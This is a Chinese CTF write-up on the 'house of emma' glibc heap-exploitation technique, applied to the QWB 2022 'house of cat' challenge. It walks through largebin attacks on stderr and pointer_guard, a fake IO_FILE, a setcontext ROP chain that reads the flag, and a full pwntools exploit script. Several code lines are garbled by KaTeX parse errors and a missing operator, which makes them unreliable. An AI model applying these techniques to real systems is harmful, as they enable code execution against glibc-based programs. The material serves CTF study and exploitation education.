关于house of emma

house of emma

适用范围:

glibc 2.23 – 至今

利用条件:

可以进行两次任意地址写堆地址(通常是largebin attack)

可以触发 IO 流操作

攻击方法:

劫持stderr指针为我们构造的fake_IO_FILE
__pointer_chk_guard 处写入已知内容,来绕过函数指针的调用对保护
触发io流

攻击限制:

若stderr 的指针存放于 bss 段上,无法被我们修改,那么只能通过exit来触发FSOP,但由于我们的构造可能会导致异或内容被篡改后,exit无法正常执行,使得程序无法执行到我们构造的 IO流
需要攻击位于TLS结构体的_pointer_chk_guard,并且远程可能需要爆破TLS偏移

源码分析:

​vtable​虚表中有_IO_cookie_jumps​结构体,在_IO_cookie_jumps​中包含着_IO_cookie_read​、_IO_cookie_write​等一系列函数

这些函数存在着任意函数指针的调用,但是这些函数指针的调用被pointer_guard​ 进行了加密

static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (read_cb);
#endif

if (read_cb == NULL)
return -1;

return read_cb (cfile->__cookie, buf, size);
}

static ssize_t
_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (write_cb);
#endif

if (write_cb == NULL)
{
fp->_flags |= _IO_ERR_SEEN;
return 0;
}

ssize_t n = write_cb (cfile->__cookie, buf, size);
if (n < size)
fp->_flags |= _IO_ERR_SEEN;

return n;
}

static off64_t
_IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (seek_cb);
#endif

return ((seek_cb == NULL
|| (seek_cb (cfile->__cookie, &offset, dir)
== -1)
|| offset == (off64_t) -1)
? _IO_pos_BAD : offset);
}

static int
_IO_cookie_close (FILE *fp)
{
struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
cookie_close_function_t *close_cb = cfile->__io_functions.close;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (close_cb);
#endif

if (close_cb == NULL)
return 0;

return close_cb (cfile->__cookie);
}

例题2022挑战杯house of cat

保护全开,开了沙箱

程序分析:

限制申请大小 0x418-0x46f,限制修改次数两次并只能修改0x30字节

存在UAF漏洞,限制泄露数据最大大小为0x30字节

题目除了前面的加密,本身算是一道标准的菜单题,不过我们主要是要分析这道题里house of cat手法如何利用,前面需要逆向的部分不再赘述

例题解法:

首先是泄露libc基址和heap地址

largebin attack攻击stderr指针和__pointer_chk_guard

在 stderr 指针处写一个可控地址,在__pointer_chk_guard 处写一个已知地址

再利用UAF通过unsorted bin 会与 top chunk 合并的机制来修改top_chunk大小触发IO调用

进入 house of emma 的调用链,同时利用一个能够转移 rdi 到 rdx 的 gadget 为 setcontext 提供内容

利用 setcontext+61 来执行 orw,从而获取flag

libc和heap地址的泄露

add(0,0x428,b’aaa’)
add(1,0x428,b’./flag\x00’)
delete(0)
add(15,0x448,b’./flag\x00’)
add(14,0x448,b’./flag\x00’)
show(0)
libc_base=l64()-0x21a0d0
li('libc_base = '+hex(libc_base))
heap_base=u64(p.recvuntil(“\x55”)[-6:].ljust(8,b"\x00"))#-0x290
li('heap_addr = '+hex(heap_base))
fake_IO_FILE和orw的模板
fake_file:

gadget = libc_base + 0x00000000001675b0
fake_file = b’0’ * 0x78
fake_file += p64(libc_base+0x21ba60)
fake_file = fake_file.ljust(0xc8, b’\x00’)
fake_file += p64(io_cookie_jumps_addr+0x18)
fake_file += p64(heap_base + 0x10e0 + 0x450)
fake_file += p64(0)
enc_data =((gadget(heap_base+0x1960))>>(64-0x11))|((gadget(heap_base+0x1960))<<0x11)
fake_file += p64(enc_data)
orw:

chunk13=heap_base+0x10d0+0x460 #chunk orw

orw = p64(0) + p64(heap_base+0x10d0+0x460)
orw += b’\x00’ * 0x10
orw += p64(setcontext+61)
orw += b’\x00’ * 0x78
orw += p64(chunk13+0xb0) + p64(ret)

orw += p64(pop_rdi_ret) + p64(0)
orw += p64(close)
#close(0)
orw += p64(pop_rdi_ret) + p64(flag_path)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall)
#open(flag_path,0)
orw += p64(pop_rdi_ret) + p64(0)
orw += p64(pop_rsi_ret) + p64(flag_path)
orw += p64(pop_rdx_ret) + p64(0x41)*2
orw += p64(Read)
#read(0,flag_path,0x41)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)

LargeBin Attack攻击stderr和pointer

stderr攻击:将stderr覆盖为chunk3(fake_file)的地址

add(2,0x428,b’bbb’)
add(3,0x418,fake_file)
delete(2)

add(13,0x438,orw)
add(12,0x438,b’mmm’)

delete(3)
在这里插入图片描述

290-chunk2

6c0-chunk1

af0-chunk15

f40-chunk14

390-chunk3

7b0-chunk13

bf0-chunk12

pl=p64(libc_base+0x21a0e0)*2+p64(heap_base)+p64(stderr-0x20)
edit(2,pl)
在这里插入图片描述在这里插入图片描述

add(11,0x458,b’lll’)
在这里插入图片描述在这里插入图片描述

stderr已被覆盖为chunk3的地址
在这里插入图片描述

chunk3储存着我们伪造的fake_file

fake_file = b’0’ * 0x78
fake_file += p64(libc_base+0x21ba60)
fake_file = fake_file.ljust(0xc8, b’\x00’)
fake_file += p64(io_cookie_jumps_addr+0x18)
fake_file += p64(heap_base + 0x10e0 + 0x450)
fake_file += p64(0)
enc_data =((gadget(heap_base+0x1960))>>(64-0x11))|((gadget(heap_base+0x1960))<<0x11)
fake_file += p64(enc_data)
刚构造后的chunk3:
在这里插入图片描述

delete(3)并edit(2,pl)后的chunk3
在这里插入图片描述

0x3a0-0x3b0并不影响我们fake_file的布局

未修改chunk2后add(11,0x458,b’lll’):

在这里插入图片描述

pointer_guard攻击:pointer_guard覆盖为chunk12的地址
delete(15)
add(10,0x450,b’rrr’)
delete(12)

在这里插入图片描述

li('pointer_guard = '+hex(pointer_guard))

pl=p64(libc_base+0x21a0e0)*2 + p64(heap_base+0x860) + p64(pointer_guard-0x20)
edit(15, pl)
#main_arena+1120 main_arena+1120
#chunk15 pointer_guard-0x20

在这里插入图片描述

我们要修改这里,查看__pointer_chk_guard_local发现它,但是这里又是不可写的
在这里插入图片描述

查看fs_base,这里我们选择攻击的是fs+0x30偏移的这个值

将0xc87d070b4dced3ee覆盖掉
在这里插入图片描述

add(9,0x450,b’hhh’)

在这里插入图片描述

将覆盖pointer_guard为已知的堆地址
在这里插入图片描述

fs[0x30]以被我们修改,也可以看到__pointer_chk_guard_local没有改变

290-chunk2 - edit(stderr)

6c0-chunk1

af0-chunk15 - edit(pointer_guard)

f40-chunk14

390-chunk3 - stderr(fake_file)

7b0-chunk13 orw

bf0-chunk12 - pointer_guard

030-chunk11

修改topchunk大小
​​在这里插入图片描述

​​

add(8,0x450,b’ggg’) #d50

delete(9)
delete(10)
delete(8)
在这里插入图片描述

add(7,0x460,b’a’*0x458 + p64(0x471))
add(6,0x460,b’a’*0x458 + p64(0x451))
在这里插入图片描述

delete(6)
delete(9)
在这里插入图片描述在这里插入图片描述

add(4, 0x460, p64(0) + p64(0x100))
可以看到top_chunk的size已被我们修改
在这里插入图片描述

sa(‘mew mew mew~~~~~~’, ‘CAT | r00t QWB QWXF$\xff’)
sla(‘plz input your cat choice:\n’,str(1))
sla(‘plz input your cat idx:\n’,str(5))
sla(‘plz input your cat size:\n’,str(0x460))

触发IO调用
__malloc_assert

fflush
在这里插入图片描述

_IO_cookie_write
在这里插入图片描述

getkeyserv_handle+576
在这里插入图片描述

orw

chunk13=heap_base+0x10d0+0x460
orw = p64(0) + p64(heap_base+0x10d0+0x460)
orw += b’\x00’ * 0x10
orw += p64(setcontext+61)
orw += b’\x00’ * 0x78
orw += p64(heap_base + 0x10e0 + 0x460+0xa0) + p64(ret)

orw += p64(pop_rdi_ret) + p64(0)
orw += p64(close)
orw += p64(pop_rdi_ret) + p64(flag_path)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall)
orw += p64(pop_rdi_ret) + p64(0)
orw += p64(pop_rsi_ret) + p64(flag_path)
orw += p64(pop_rdx_ret) + p64(0x41)*2
orw += p64(Read)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)
在这里插入图片描述

orw += p64(pop_rdi_ret) + p64(0)
orw += p64(close)
这里的close(0)解释一下,首先我们可以看到沙箱这里调用read的话会查看fd是否为0,非0则直接KILL
在这里插入图片描述

如果我们要将调用flag来读入到内存则一定要使fd为0,但0、1、2(标准输入、输出、错误)均被占用时,我们如果read flag,那么flag文件描述符则为3,程序会截止

而我们首先构造close(0),将标准输入关闭掉,再次read的时候flag文件描述符就将是0,则可以正常read

exp:
from pwn import *
p=process(‘./pwn’)
libc=ELF(‘./libc.so.6’)
context.log_level=‘debug’

s = lambda data :p.send(data)
sa = lambda x, y :p.sendafter(x, y)
sl = lambda data :p.sendline(data)
sla = lambda x, y :p.sendlineafter(x, y)
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b’\x00’))
uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b’\x00’))
leak = lambda name,addr :log.success(‘{} = {:#x}’.format(name, addr))
l64 = lambda :u64(p.recvuntil(“\x7f”)[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil(“\xf7”)[-4:].ljust(4,b"\x00"))
li = lambda x : print(‘\x1b[01;38;5;214m’ + x + ‘\x1b[0m’)
ll = lambda x : print(‘\x1b[01;38;5;1m’ + x + ‘\x1b[0m’)
context.terminal = [‘gnome-terminal’,‘-x’,‘sh’,‘-c’]

def dbg():
gdb.attach(proc.pidof§[0])
pause()

def add(idx,size,cont):
sa(‘mew mew mew~~~~~~’, ‘CAT | r00t QWB QWXFKaTeX parse error: Undefined control sequence: \xff at position 1: \̲x̲f̲f̲') sla('plz…\xff’)
sla(‘plz input your cat choice:\n’, str(2))
sla(‘plz input your cat idx:\n’,str(idx))
def show(idx):
sa(‘mew mew mew~~~~~~’, ‘CAT | r00t QWB QWXFKaTeX parse error: Undefined control sequence: \xff at position 1: \̲x̲f̲f̲') sla('plz…\xff’)
sla(‘plz input your cat choice:\n’, str(4))
sla(‘plz input your cat idx:\n’,str(idx))
sa(‘plz input your content:\n’, cont)

sa(‘mew mew mew~~~~~~’,‘LOGIN | r00t QWB QWXFadmin’)

add(0,0x428,b’aaa’)
add(1,0x428,b’./flag\x00’)
delete(0)
add(15,0x448,b’./flag\x00’)
add(14,0x448,b’./flag\x00’)
show(0)
libc_base=l64()-0x21a0d0
li('libc_base = '+hex(libc_base))
heap_base=u64(p.recvuntil(“\x55”)[-6:].ljust(8,b"\x00"))#-0x290
li('heap_addr = '+hex(heap_base))

pop_rdi_ret = libc_base + 0x000000000002a3e5
pop_rsi_ret = libc_base + 0x000000000002be51
pop_rdx_ret = libc_base + 0x000000000011f497
pop_rax_ret = libc_base + 0x0000000000045eb0
ret = libc_base + 0x0000000000029cd6

Read = libc_base + libc.sym[‘read’]
Write = libc_base + libc.sym[‘write’]
close = libc_base + libc.sym[‘close’]
system = libc_base + libc.sym[‘system’]
bin_sh = libc_base + 0x00000000001d8698
syscall = Read + 0x10

#print('================================
flag_path = heap_base + 0x440
rtld_global = libc_base + 0x275040 #0x278040
stderr = libc_base + libc.sym[‘stderr’]
setcontext = libc_base + libc.sym[‘setcontext’]

#mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
gadget = libc_base + 0x00000000001675b0
io_cookie_jumps_addr = libc_base + 0x215b80
pointer_guard = libc_base - 0x2890
_IO_stdfile_2_lock=libc_base+0x21ba60

#print('================================

fake_file = b’0’ * 0x78
fake_file += p64(libc_base+0x21ba60)
fake_file = fake_file.ljust(0xc8, b’\x00’)
fake_file += p64(io_cookie_jumps_addr+0x18)
fake_file += p64(heap_base + 0x10e0 + 0x450)
fake_file += p64(0)
enc_data =((gadget(heap_base+0x1960))>>(64-0x11))|((gadget(heap_base+0x1960))<<0x11)
fake_file += p64(enc_data)

chunk13=heap_base+0x10d0+0x460 #chunk orw
orw = p64(0) + p64(heap_base+0x10d0+0x460)
orw += b’\x00’ * 0x10
orw += p64(setcontext+61)
orw += b’\x00’ * 0x78
orw += p64(chunk13+0xb0) + p64(ret)

orw += p64(pop_rdi_ret) + p64(0)
orw += p64(close)
#close(0)
orw += p64(pop_rdi_ret) + p64(flag_path)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall)
#open(flag_path,0)
orw += p64(pop_rdi_ret) + p64(0)
orw += p64(pop_rsi_ret) + p64(flag_path)
orw += p64(pop_rdx_ret) + p64(0x41)*2
orw += p64(Read)
#read(0,flag_path,0x41)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)
#write(1,flag_path,0x41)

#print(‘=================================================sdterr
add(2,0x428,b’bbb’)
add(3,0x418,fake_file)

delete(2)

add(13,0x438,orw)
add(12,0x438,b’mmm’)

delete(3)

pl=p64(libc_base+0x21a0e0)*2+p64(heap_base)+p64(stderr-0x20)
#main_arena+1120 main_arena+1120
#chunk2 stderr-0x20
edit(2,pl)
li('stderr = ‘+hex(stderr))
add(11,0x458,b’lll’) #030

#print('=================================================pointer_guard

delete(15)
add(10,0x450,b’iii’) #490
delete(12)
li('pointer_guard = '+hex(pointer_guard))
edit(15, p64(libc_base+0x21a0e0)*2 + p64(heap_base+0x860) + p64(pointer_guard-0x20))
#main_arena+1120 main_arena+1120
#chunk15 pointer_guard-0x20

add(9,0x450,b’hhh’) #8f0
add(8,0x450,b’ggg’) #d50

delete(9)
delete(10)
delete(8)
‘’’
add(7,0x460,b’fff’)
add(6,0x460,b’eee’)
‘’’

add(7,0x460,b’a’*0x458 + p64(0x471))
add(6,0x460,b’a’*0x458 + p64(0x451))

delete(6)

delete(9)

add(4, 0x460, p64(0) + p64(0x100))
sa(‘mew mew mew~~~~~~’, ‘CAT | r00t QWB QWXF$\xff’)
sla(‘plz input your cat choice:\n’,str(1))
sla(‘plz input your cat idx:\n’,str(5))
sla(‘plz input your cat size:\n’,str(0x460))

itr()

参考:
第七届“湖湘杯” House _OF _Emma | 设计思路与解析-安全客 - 安全资讯平台 (anquanke.com)
强网杯2022&pwn&house_of_cat: https://www.bilibili.com/video/BV1XV4y1j7kf/

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值